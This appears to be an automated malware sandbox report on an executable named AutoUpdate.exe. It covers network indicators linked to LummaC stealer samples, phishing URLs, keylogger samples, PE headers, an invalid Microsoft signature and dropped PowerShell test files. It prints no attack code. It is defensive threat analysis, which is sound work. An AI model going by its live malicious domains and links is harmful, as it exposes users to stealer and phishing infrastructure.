Excluded IPs from analysis (whitelisted): 4.245.163.56, 13.107.246.63
Excluded domains from analysis (whitelisted): ocsp.digicert.com, slscr.update.microsoft.com, otelrules.azureedge.net, ctldl.windowsupdate.com, fe3cr.delivery.mp.microsoft.com
Execution Graph export aborted for target powershell.exe, PID 1432 because it is empty
Execution Graph export aborted for target powershell.exe, PID 5324 because it is empty
Not all processes where analyzed, report is missing behavior information
Report size getting too big, too many NtCreateKey calls found.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Some HTTPS proxied raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
VT rate limit hit for: AutoUpdate.exe

Simulations

Behavior and APIs

Time	Type	Description
18:30:16	API Interceptor	9x Sleep call for process: AutoUpdate.exe modified
18:30:36	API Interceptor	14x Sleep call for process: powershell.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link
172.67.191.144	Setup.exe	Get hash	malicious	LummaC	Browse
	setup.exe	Get hash	malicious	LummaC	Browse
	'Setup.exe	Get hash	malicious	LummaC Stealer	Browse
	update_1630227239.dll	Get hash	malicious	IcedID	Browse

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
kliptizq.shop	Setup.exe	Get hash	malicious	LummaC	Browse	172.67.191.144
	Full_Ver_Setup.exe	Get hash	malicious	LummaC	Browse	104.21.84.113
	setup.exe	Get hash	malicious	LummaC	Browse	104.21.84.113
	Setup.exe	Get hash	malicious	LummaC	Browse	104.21.84.113
	setup.exe	Get hash	malicious	LummaC	Browse	172.67.191.144
	Set-up.exe	Get hash	malicious	LummaC Stealer	Browse	104.21.84.113
	'Setup.exe	Get hash	malicious	LummaC Stealer	Browse	172.67.191.144
neqi.shop	Setup.exe	Get hash	malicious	LummaC	Browse	194.58.112.174
	Setup.exe	Get hash	malicious	LummaC	Browse	194.58.112.174
	Full_Ver_Setup.exe	Get hash	malicious	LummaC	Browse	194.58.112.174

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
CLOUDFLARENETUS	EPIRTURMEROOO0060.exe	Get hash	malicious	MassLogger RAT	Browse	172.67.177.134
	https://en.newsnowbangla.com/archives/69912	Get hash	malicious	HTMLPhisher, TechSupportScam	Browse	104.17.25.14
	https://u48917305.ct.sendgrid.net/ls/click?upn=u001.ztQPJiWtq2gO8V-2Ftd7SxY9UCAq3VScTPSloeIw5UEMPd6e3nbPRvJ98moPTqmrdQ1eNbvwZHJ-2BEb4HrooVFNCTltmXW6SgRONKSmPzdFoWfDQT97cczFZ0vj7M2xBd2izDTi-2BL-2BoVqB8yVzV2GW7vOPvy3s9yVghrOS5vs-2BSnWyzJMkXQxVEReq4oLCDet7QAOvo_JkpSD-2Bg6VoLAQppUKMb-2BxDh4v4nbOeQFT31aoN-2FLkhvFCzY6wdlGM7RTNIi47OKR1tTaghG8tTKssArDNPSXAfX9wO6nsZ2FHn-2FunyaOti-2FaII-2FnbKYDXJOImW-2Bs9f4tYnWj8rqO7L0kp4KNRHBDo0iHoL8DEOGc8GMtzqzsIqERel6-2FxJyY4DBnsnUTOc2I4HCPKA6lxcCEXMtxEA1-2FnQ-3D-3D	Get hash	malicious	HTMLPhisher	Browse	104.17.25.14
	Proforma Invoice.exe	Get hash	malicious	MassLogger RAT	Browse	104.21.67.152
	Azygoses125.exe	Get hash	malicious	GuLoader, Snake Keylogger, VIP Keylogger	Browse	104.21.67.152
	HUBED342024.exe	Get hash	malicious	MassLogger RAT	Browse	172.67.177.134
	PARATRANSFARI REMINDER.exe	Get hash	malicious	Snake Keylogger	Browse	104.21.67.152
	https://www.canva.com/design/DAGaHpv1g1M/bVE7B2sT8b8T3P-e2xb64w/view?utm_content=DAGaHpv1g1M&utm_campaign=designshare&utm_medium=link2&utm_source=uniquelinks&utlId=h1ee3678e45	Get hash	malicious	HTMLPhisher	Browse	172.67.74.152
	Violated Heroine_91zbZ-1.exe	Get hash	malicious	Unknown	Browse	104.18.20.226
	Play Aud.html	Get hash	malicious	Unknown	Browse	104.17.25.14
CLOUDFLARENETUS	EPIRTURMEROOO0060.exe	Get hash	malicious	MassLogger RAT	Browse	172.67.177.134
	https://en.newsnowbangla.com/archives/69912	Get hash	malicious	HTMLPhisher, TechSupportScam	Browse	104.17.25.14
	https://u48917305.ct.sendgrid.net/ls/click?upn=u001.ztQPJiWtq2gO8V-2Ftd7SxY9UCAq3VScTPSloeIw5UEMPd6e3nbPRvJ98moPTqmrdQ1eNbvwZHJ-2BEb4HrooVFNCTltmXW6SgRONKSmPzdFoWfDQT97cczFZ0vj7M2xBd2izDTi-2BL-2BoVqB8yVzV2GW7vOPvy3s9yVghrOS5vs-2BSnWyzJMkXQxVEReq4oLCDet7QAOvo_JkpSD-2Bg6VoLAQppUKMb-2BxDh4v4nbOeQFT31aoN-2FLkhvFCzY6wdlGM7RTNIi47OKR1tTaghG8tTKssArDNPSXAfX9wO6nsZ2FHn-2FunyaOti-2FaII-2FnbKYDXJOImW-2Bs9f4tYnWj8rqO7L0kp4KNRHBDo0iHoL8DEOGc8GMtzqzsIqERel6-2FxJyY4DBnsnUTOc2I4HCPKA6lxcCEXMtxEA1-2FnQ-3D-3D	Get hash	malicious	HTMLPhisher	Browse	104.17.25.14
	Proforma Invoice.exe	Get hash	malicious	MassLogger RAT	Browse	104.21.67.152
	Azygoses125.exe	Get hash	malicious	GuLoader, Snake Keylogger, VIP Keylogger	Browse	104.21.67.152
	HUBED342024.exe	Get hash	malicious	MassLogger RAT	Browse	172.67.177.134
	PARATRANSFARI REMINDER.exe	Get hash	malicious	Snake Keylogger	Browse	104.21.67.152
	https://www.canva.com/design/DAGaHpv1g1M/bVE7B2sT8b8T3P-e2xb64w/view?utm_content=DAGaHpv1g1M&utm_campaign=designshare&utm_medium=link2&utm_source=uniquelinks&utlId=h1ee3678e45	Get hash	malicious	HTMLPhisher	Browse	172.67.74.152
	Violated Heroine_91zbZ-1.exe	Get hash	malicious	Unknown	Browse	104.18.20.226
	Play Aud.html	Get hash	malicious	Unknown	Browse	104.17.25.14
CLOUDFLARENETUS	EPIRTURMEROOO0060.exe	Get hash	malicious	MassLogger RAT	Browse	172.67.177.134
	https://en.newsnowbangla.com/archives/69912	Get hash	malicious	HTMLPhisher, TechSupportScam	Browse	104.17.25.14
	https://u48917305.ct.sendgrid.net/ls/click?upn=u001.ztQPJiWtq2gO8V-2Ftd7SxY9UCAq3VScTPSloeIw5UEMPd6e3nbPRvJ98moPTqmrdQ1eNbvwZHJ-2BEb4HrooVFNCTltmXW6SgRONKSmPzdFoWfDQT97cczFZ0vj7M2xBd2izDTi-2BL-2BoVqB8yVzV2GW7vOPvy3s9yVghrOS5vs-2BSnWyzJMkXQxVEReq4oLCDet7QAOvo_JkpSD-2Bg6VoLAQppUKMb-2BxDh4v4nbOeQFT31aoN-2FLkhvFCzY6wdlGM7RTNIi47OKR1tTaghG8tTKssArDNPSXAfX9wO6nsZ2FHn-2FunyaOti-2FaII-2FnbKYDXJOImW-2Bs9f4tYnWj8rqO7L0kp4KNRHBDo0iHoL8DEOGc8GMtzqzsIqERel6-2FxJyY4DBnsnUTOc2I4HCPKA6lxcCEXMtxEA1-2FnQ-3D-3D	Get hash	malicious	HTMLPhisher	Browse	104.17.25.14
	Proforma Invoice.exe	Get hash	malicious	MassLogger RAT	Browse	104.21.67.152
	Azygoses125.exe	Get hash	malicious	GuLoader, Snake Keylogger, VIP Keylogger	Browse	104.21.67.152
	HUBED342024.exe	Get hash	malicious	MassLogger RAT	Browse	172.67.177.134
	PARATRANSFARI REMINDER.exe	Get hash	malicious	Snake Keylogger	Browse	104.21.67.152
	https://www.canva.com/design/DAGaHpv1g1M/bVE7B2sT8b8T3P-e2xb64w/view?utm_content=DAGaHpv1g1M&utm_campaign=designshare&utm_medium=link2&utm_source=uniquelinks&utlId=h1ee3678e45	Get hash	malicious	HTMLPhisher	Browse	172.67.74.152
	Violated Heroine_91zbZ-1.exe	Get hash	malicious	Unknown	Browse	104.18.20.226
	Play Aud.html	Get hash	malicious	Unknown	Browse	104.17.25.14

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
a0e9f5d64349fb13191bc781f81f42e1	Violated Heroine_91zbZ-1.exe	Get hash	malicious	Unknown	Browse	172.67.191.144 172.67.169.205 104.21.93.82
	xlSzrIs5h6.exe	Get hash	malicious	LummaC, Stealc	Browse	172.67.191.144 172.67.169.205 104.21.93.82
	ZysXVT72cl.exe	Get hash	malicious	LummaC	Browse	172.67.191.144 172.67.169.205 104.21.93.82
	NxqDwaYpbp.exe	Get hash	malicious	LummaC	Browse	172.67.191.144 172.67.169.205 104.21.93.82
	NAnOVCOt4L.exe	Get hash	malicious	LummaC	Browse	172.67.191.144 172.67.169.205 104.21.93.82
	2jx1O1t486.exe	Get hash	malicious	LummaC, Stealc	Browse	172.67.191.144 172.67.169.205 104.21.93.82
	fkawMJ7FH8.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, RedLine, Stealc	Browse	172.67.191.144 172.67.169.205 104.21.93.82
	OtHVIQ2ge4.exe	Get hash	malicious	LummaC	Browse	172.67.191.144 172.67.169.205 104.21.93.82
	fr2Mul3G6m.exe	Get hash	malicious	LummaC	Browse	172.67.191.144 172.67.169.205 104.21.93.82
	t8cdzT49Yr.exe	Get hash	malicious	LummaC	Browse	172.67.191.144 172.67.169.205 104.21.93.82

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	64
Entropy (8bit):	0.34726597513537405
Encrypted:	false
SSDEEP:	3:Nlll:Nll
MD5:	446DD1CF97EABA21CF14D03AEBC79F27
SHA1:	36E4CC7367E0C7B40F4A8ACE272941EA46373799
SHA-256:	A7DE5177C68A64BD48B36D49E2853799F4EBCFA8E4761F7CC472F333DC5F65CF
SHA-512:	A6D754709F30B122112AE30E5AB22486393C5021D33DA4D1304C061863D2E1E79E8AEB029CAE61261BB77D0E7BECD53A7B0106D6EA4368B4C302464E3D941CF7
Malicious:	false
Reputation:	high, very likely benign file
Preview:	@...e...........................................................

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_5o0tkegt.fmy.psm1

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Reputation:	high, very likely benign file
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_dhygtola.umk.ps1

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Reputation:	high, very likely benign file
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_dxmx00lb.hvo.ps1

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_hp2icekv.0bg.ps1

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_tctpoq1h.y0j.psm1

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_uo04ozsg.4kh.psm1

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386, for MS Windows
Entropy (8bit):	0.7661041060932089
TrID:	Win32 Executable (generic) a (10002005/4) 98.45% Inno Setup installer (109748/4) 1.08% Win32 EXE PECompact compressed (generic) (41571/9) 0.41% Win16/32 Executable Delphi generic (2074/23) 0.02% Generic Win/DOS Executable (2004/3) 0.02%
File name:	AutoUpdate.exe
File size:	76'859'736 bytes
MD5:	2edfb2e821cc4822c1ac9d6d52591048
SHA1:	37241f65670dfeb7154469a9a51cbf5b577b1fd3
SHA256:	00cf2aae19b9ac81ac5c6322ae56f65373c8cc05568ed6a35379077ca221fc5a
SHA512:	bac86ae483b1ac582ba41c685c675145eafc48baa019034664bdea91308bdeefef979d41daeaada32dbb633f8d8dbd0b51f4683d384ec4867a95f57044056064
SSDEEP:	49152:51gSCl49+WxhtZDEJWSgBasmfNQvSRfANXUF7dWTOTAvNDA1j2h89Noct9Q:51R9NtZ28yANXUFJmEyaoA9Q
TLSH:	1DF78125A32033B9C77685390613B7F8BA665638E3128CF751DC8D4D8E368EC163AF56
File Content Preview:	MZP.....................@...............................................!..L.!..This program must be run under Win32..$7.......................................................................................................................................

File Icon


Icon Hash:	136d96b2b2d66917

Static PE Info

General

Entrypoint:	0x6780dc
Entrypoint Section:	.itext
Digitally signed:	true
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, LOCAL_SYMS_STRIPPED, BYTES_REVERSED_LO, 32BIT_MACHINE, BYTES_REVERSED_HI
DLL Characteristics:
Time Stamp:	0x6123298E [Mon Aug 23 04:52:30 2021 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	5
OS Version Minor:	0
File Version Major:	5
File Version Minor:	0
Subsystem Version Major:	5
Subsystem Version Minor:	0
Import Hash:	0c4a9d139d6a04763132a6803411808a

Authenticode Signature

Signature Valid:	false
Signature Issuer:	CN=Microsoft Code Signing PCA 2010, O=Microsoft Corporation, L=Redmond, S=Washington, C=US
Signature Validation Error:	The digital signature of the object did not verify
Error Number:	-2146869232
Not Before, Not After	15/12/2020 21:24:20 02/12/2021 21:24:20
Subject Chain	CN=Microsoft Corporation, O=Microsoft Corporation, L=Redmond, S=Washington, C=US
Version:	3
Thumbprint MD5:	4068B1B0494EFA79F5A751DCCA8111CD
Thumbprint SHA-1:	914A09C2E02C696AF394048BCB8D95449BCD5B9E
Thumbprint SHA-256:	4A838904E732A380E2856A9D6FEE926E5C57EB59336292AC5D9E47C9B2C1ED13
Serial:	33000003DFFB6AE3F427ECB6A30000000003DF

Entrypoint Preview

Instruction
push ebp
mov ebp, esp
add esp, FFFFFFF0h
mov eax, 0066C6B8h
call 00007F5B6504316Dh
call 00007F5B6503AAECh
cmp eax, 02h
jl 00007F5B652AB8E1h
mov eax, dword ptr [00687C6Ch]
mov eax, dword ptr [eax]
call 00007F5B651F1BCBh
mov eax, dword ptr [00687C6Ch]
mov eax, dword ptr [eax]
mov dl, 01h
call 00007F5B651F380Dh
mov eax, dword ptr [00687C6Ch]
mov eax, dword ptr [eax]
mov edx, 00678158h
call 00007F5B651F15E0h
mov ecx, dword ptr [00687A98h]
mov eax, dword ptr [00687C6Ch]
mov eax, dword ptr [eax]
mov edx, dword ptr [00669FE0h]
call 00007F5B651F1BACh
mov eax, dword ptr [00687C6Ch]
mov eax, dword ptr [eax]
call 00007F5B651F1CFCh
call 00007F5B6503CE77h
add byte ptr [eax], al
mov al, 04h
add al, byte ptr [eax]

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x294000	0x9c	.edata
IMAGE_DIRECTORY_ENTRY_IMPORT	0x28f000	0x3528	.idata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x2d4000	0x69600	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x494a788	0x21d0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x297000	0x3cd30	.reloc
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x296000	0x18	.rdata
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x28f96c	0x818	.idata
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x293000	0xc96	.didata
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x1000	0x2740e4	0x274200	3838947e24b02f5e85c559e7b03d1c9d	unknown	unknown	unknown	unknown	IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
.itext	0x276000	0x217c	0x2200	cae63a3ab4fc7e318a5579e4dbe02277	False	0.5457261029411765	data	6.205968219962612	IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
.data	0x279000	0xefd0	0xf000	37088f00bb6707abce82ab5336f7bf77	False	0.4778645833333333	data	6.62873809454467	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.bss	0x288000	0x6ab0	0x0	d41d8cd98f00b204e9800998ecf8427e	False	0	empty	0.0	IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.idata	0x28f000	0x3528	0x3600	6e9836a2a9b459b748aa3f551f97768c	False	0.3309461805555556	data	5.235753793770937	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.didata	0x293000	0xc96	0xe00	43dd0db03434a3be350de4b5bfe252ef	False	0.31947544642857145	data	4.07752264400339	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.edata	0x294000	0x9c	0x200	795a4d47a80fd59ac39a909f84df6a2b	False	0.259765625	data	1.895201951714244	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.tls	0x295000	0x4c	0x0	d41d8cd98f00b204e9800998ecf8427e	False	0	empty	0.0	IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.rdata	0x296000	0x5d	0x200	01c381400b3fd3e8248547ba02280495	False	0.189453125	data	1.3772794886047814	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.reloc	0x297000	0x3cd30	0x3ce00	d08ea66e4c04cf24f25519dcdff08e72	False	0.5709140785420944	data	6.737699406895023	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_READ
.rsrc	0x2d4000	0x69600	0x69600	ae20087114271a60f336ed48d3800ab2	False	0.552143572064057	data	7.149638856402661	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ

Resources

Name	RVA	Size	Type	Language	Country	ZLIB Complexity
RT_CURSOR	0x2d511c	0x134	Targa image data - Map 64 x 65536 x 1 +32 "\001"	English	United States	0.38636363636363635
RT_CURSOR	0x2d5250	0x134	data	English	United States	0.4642857142857143
RT_CURSOR	0x2d5384	0x134	data	English	United States	0.4805194805194805
RT_CURSOR	0x2d54b8	0x134	data	English	United States	0.38311688311688313
RT_CURSOR	0x2d55ec	0x134	data	English	United States	0.36038961038961037
RT_CURSOR	0x2d5720	0x134	data	English	United States	0.4090909090909091
RT_CURSOR	0x2d5854	0x134	Targa image data - RGB 64 x 65536 x 1 +32 "\001"	English	United States	0.4967532467532468
RT_BITMAP	0x2d5988	0x1d0	Device independent bitmap graphic, 36 x 18 x 4, image size 360	English	United States	0.43103448275862066
RT_BITMAP	0x2d5b58	0x1e4	Device independent bitmap graphic, 36 x 19 x 4, image size 380	English	United States	0.46487603305785125
RT_BITMAP	0x2d5d3c	0x1d0	Device independent bitmap graphic, 36 x 18 x 4, image size 360	English	United States	0.43103448275862066
RT_BITMAP	0x2d5f0c	0x1d0	Device independent bitmap graphic, 36 x 18 x 4, image size 360	English	United States	0.39870689655172414
RT_BITMAP	0x2d60dc	0x1d0	Device independent bitmap graphic, 36 x 18 x 4, image size 360	English	United States	0.4245689655172414
RT_BITMAP	0x2d62ac	0x1d0	Device independent bitmap graphic, 36 x 18 x 4, image size 360	English	United States	0.5021551724137931
RT_BITMAP	0x2d647c	0x1d0	Device independent bitmap graphic, 36 x 18 x 4, image size 360	English	United States	0.5064655172413793
RT_BITMAP	0x2d664c	0x1d0	Device independent bitmap graphic, 36 x 18 x 4, image size 360	English	United States	0.39655172413793105
RT_BITMAP	0x2d681c	0x1d0	Device independent bitmap graphic, 36 x 18 x 4, image size 360	English	United States	0.5344827586206896
RT_BITMAP	0x2d69ec	0x1d0	Device independent bitmap graphic, 36 x 18 x 4, image size 360	English	United States	0.39655172413793105
RT_BITMAP	0x2d6bbc	0xc0	Device independent bitmap graphic, 16 x 11 x 4, image size 88, 16 important colors	English	United States	0.5208333333333334
RT_BITMAP	0x2d6c7c	0xe0	Device independent bitmap graphic, 16 x 15 x 4, image size 120, 16 important colors	English	United States	0.42857142857142855
RT_BITMAP	0x2d6d5c	0xe0	Device independent bitmap graphic, 16 x 15 x 4, image size 120, 16 important colors	English	United States	0.4955357142857143
RT_BITMAP	0x2d6e3c	0xe0	Device independent bitmap graphic, 16 x 15 x 4, image size 120, 16 important colors	English	United States	0.38392857142857145
RT_BITMAP	0x2d6f1c	0xc0	Device independent bitmap graphic, 16 x 11 x 4, image size 88, 16 important colors	English	United States	0.4947916666666667
RT_BITMAP	0x2d6fdc	0xc0	Device independent bitmap graphic, 16 x 11 x 4, image size 88, 16 important colors	English	United States	0.484375
RT_BITMAP	0x2d709c	0xe0	Device independent bitmap graphic, 16 x 15 x 4, image size 120, 16 important colors	English	United States	0.42410714285714285
RT_BITMAP	0x2d717c	0xc0	Device independent bitmap graphic, 16 x 11 x 4, image size 88, 16 important colors	English	United States	0.5104166666666666
RT_BITMAP	0x2d723c	0xe0	Device independent bitmap graphic, 16 x 15 x 4, image size 120, 16 important colors	English	United States	0.5
RT_BITMAP	0x2d731c	0xc0	Device independent bitmap graphic, 16 x 11 x 4, image size 88, 16 important colors	English	United States	0.4895833333333333
RT_BITMAP	0x2d73dc	0xe0	Device independent bitmap graphic, 16 x 15 x 4, image size 120, 16 important colors	English	United States	0.3794642857142857
RT_ICON	0x2d74bc	0x94a8	Device independent bitmap graphic, 96 x 192 x 32, image size 38016	English	United States	0.11312276644944293
RT_ICON	0x2e0964	0x4228	Device independent bitmap graphic, 64 x 128 x 32, image size 16896	English	United States	0.16822153991497402
RT_ICON	0x2e4b8c	0x25a8	Device independent bitmap graphic, 48 x 96 x 32, image size 9600	English	United States	0.18184647302904564
RT_ICON	0x2e7134	0x10a8	Device independent bitmap graphic, 32 x 64 x 32, image size 4224	English	United States	0.2544559099437148
RT_ICON	0x2e81dc	0x468	Device independent bitmap graphic, 16 x 32 x 32, image size 1088	English	United States	0.4219858156028369
RT_STRING	0x2e8644	0x3ae	AmigaOS bitmap font "p", fc_YSize 26880, 20224 elements, 2nd "a", 3rd " "			0.39278131634819535
RT_STRING	0x2e89f4	0x386	data			0.43458980044345896
RT_STRING	0x2e8d7c	0xe8	data			0.5689655172413793
RT_STRING	0x2e8e64	0x37c	data			0.41591928251121074
RT_STRING	0x2e91e0	0x394	data			0.35262008733624456
RT_STRING	0x2e9574	0x324	data			0.4166666666666667
RT_STRING	0x2e9898	0x410	data			0.3403846153846154
RT_STRING	0x2e9ca8	0x46c	data			0.37720848056537104
RT_STRING	0x2ea114	0x3a4	data			0.4184549356223176
RT_STRING	0x2ea4b8	0x3a8	data			0.42628205128205127
RT_STRING	0x2ea860	0x18c	data			0.5959595959595959
RT_STRING	0x2ea9ec	0xd4	data			0.660377358490566
RT_STRING	0x2eaac0	0x114	data			0.6159420289855072
RT_STRING	0x2eabd4	0x2e8	data			0.4543010752688172
RT_STRING	0x2eaebc	0x400	data			0.3798828125
RT_STRING	0x2eb2bc	0x3dc	data			0.3977732793522267
RT_STRING	0x2eb698	0x4a0	data			0.30827702702702703
RT_STRING	0x2ebb38	0x328	data			0.3849009900990099
RT_STRING	0x2ebe60	0x3a0	data			0.41487068965517243
RT_STRING	0x2ec200	0x614	data			0.32840616966580977
RT_STRING	0x2ec814	0x3b8	data			0.375
RT_STRING	0x2ecbcc	0x3ac	data			0.35425531914893615
RT_STRING	0x2ecf78	0x424	data			0.4075471698113208
RT_STRING	0x2ed39c	0x1ac	data			0.4672897196261682
RT_STRING	0x2ed548	0xcc	data			0.6274509803921569
RT_STRING	0x2ed614	0x198	data			0.5612745098039216
RT_STRING	0x2ed7ac	0x3ac	data			0.3659574468085106
RT_STRING	0x2edb58	0x360	data			0.3912037037037037
RT_STRING	0x2edeb8	0x2dc	data			0.3770491803278688
RT_STRING	0x2ee194	0x360	data			0.3055555555555556
RT_RCDATA	0x2ee4f4	0x10	data			1.5
RT_RCDATA	0x2ee504	0xa0c	data			0.5244945567651633
RT_RCDATA	0x2eef10	0x2	data	English	United States	5.0
RT_RCDATA	0x2eef14	0x31f	Delphi compiled form 'TFrmMain'			0.6633291614518148
RT_GROUP_CURSOR	0x2ef234	0x14	Lotus unknown worksheet or configuration, revision 0x1	English	United States	1.25
RT_GROUP_CURSOR	0x2ef248	0x14	Lotus unknown worksheet or configuration, revision 0x1	English	United States	1.25
RT_GROUP_CURSOR	0x2ef25c	0x14	Lotus unknown worksheet or configuration, revision 0x1	English	United States	1.3
RT_GROUP_CURSOR	0x2ef270	0x14	Lotus unknown worksheet or configuration, revision 0x1	English	United States	1.3
